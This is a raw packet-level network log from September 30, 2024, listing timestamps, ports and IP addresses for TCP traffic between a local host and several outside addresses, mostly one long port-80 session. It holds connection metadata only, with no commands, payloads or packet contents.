Sep 30, 2024 12:22:46.923439026 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.925267935 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.925297022 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.925357103 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:47.170372963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:47.170622110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:47.359282017 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:47.359422922 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:47.359586954 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:47.364970922 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:47.365000963 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:47.365015030 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:47.365022898 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:47.368073940 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.372868061 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.416157007 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:47.416207075 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:47.416261911 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:47.416810036 CEST	52538	443	192.168.2.4	104.21.1.169
Sep 30, 2024 12:22:47.416826963 CEST	443	52538	104.21.1.169	192.168.2.4
Sep 30, 2024 12:22:47.552284002 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552315950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552334070 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552347898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552354097 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552371979 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552381039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552381039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552398920 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552422047 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552459955 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552476883 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552491903 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552503109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552510023 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552529097 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552530050 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552550077 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552563906 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552598000 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552614927 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552638054 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552640915 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552654028 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552685976 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552764893 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552781105 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552795887 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552809000 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552813053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552830935 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552839041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552845001 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552860975 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552871943 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552877903 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552892923 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552896976 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552910089 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552939892 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.552970886 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.552985907 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553000927 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553009987 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553018093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553029060 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553035021 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553049088 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553052902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553064108 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553078890 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553097963 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553139925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553155899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553179979 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553180933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553195953 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553200006 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553219080 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553220987 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553237915 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553240061 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553253889 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553272963 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553276062 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553291082 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553307056 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553312063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553328037 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553333998 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553342104 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553353071 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553374052 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553375006 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553390980 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553399086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553406954 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553407907 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553428888 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553447008 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553462029 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553503036 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553610086 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553626060 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553642035 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553647041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553661108 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553678036 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553684950 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553697109 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553704977 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553725004 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553733110 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553751945 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553766966 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553766966 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553793907 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553808928 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553859949 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553877115 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553894043 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553903103 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553911924 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553922892 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553927898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.553941965 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553960085 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553972960 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.553998947 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554014921 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554032087 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554039955 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554049969 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554055929 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554068089 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554074049 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554083109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554085970 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554107904 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554111004 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554152012 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554172039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554313898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554328918 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554344893 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554359913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554361105 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554369926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554378033 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554393053 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554394960 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554404974 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554411888 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554424047 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554429054 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554442883 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554446936 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554454088 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554465055 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554471970 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554485083 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554491997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554506063 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554507017 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554536104 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554543972 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554553986 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554570913 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554596901 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554615974 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554646015 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554661989 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554678917 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554696083 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554702997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554723978 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554760933 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554827929 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554876089 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554878950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554913998 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554945946 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554946899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.554960966 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.554982901 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555005074 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555017948 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555035114 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555052042 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555063009 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555102110 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555107117 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555141926 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555150986 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555187941 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555196047 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555231094 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555247068 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555263996 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555280924 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555298090 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555314064 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555332899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555342913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555372000 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555376053 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555437088 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555679083 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555702925 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555713892 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555721045 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555726051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555737019 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555740118 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555747032 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555752039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555757999 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555768013 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555775881 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555783987 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555795908 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555807114 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555816889 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555821896 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555821896 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555828094 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555838108 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555844069 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555850029 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555860996 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555871010 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555875063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555886030 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555896997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555896997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.555912971 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.555968046 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.638933897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.638962030 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.638973951 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.638986111 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639014006 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639034986 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639046907 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639058113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639074087 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639086962 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639271021 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639286995 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639303923 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639312029 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639313936 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639324903 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639334917 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639339924 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639345884 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639348030 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639362097 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639370918 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639374018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639391899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639403105 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639408112 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639408112 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639416933 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639419079 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639431000 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639436960 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639441013 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639451027 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639452934 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639465094 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639470100 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639487982 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639503002 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639513969 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639524937 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639550924 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639569044 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639596939 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639607906 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639617920 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639632940 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639652967 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639698982 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639709949 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639720917 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639731884 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639734983 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639750957 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639770985 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639832020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639842033 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639853001 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639863968 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.639866114 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639879942 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.639898062 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640043020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640053988 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640064955 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640075922 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640079021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640091896 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640093088 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640103102 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640114069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640121937 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640124083 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640136003 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640150070 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640162945 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640352011 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640362978 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640372992 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640383959 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640389919 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640394926 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640404940 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640408993 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640418053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640427113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640434027 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640438080 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640448093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640458107 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640465021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640476942 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640480042 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640501976 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640522003 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:47.640552998 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:47.640563965 CEST	80	52535	147.45.44.104	192.168.2.4
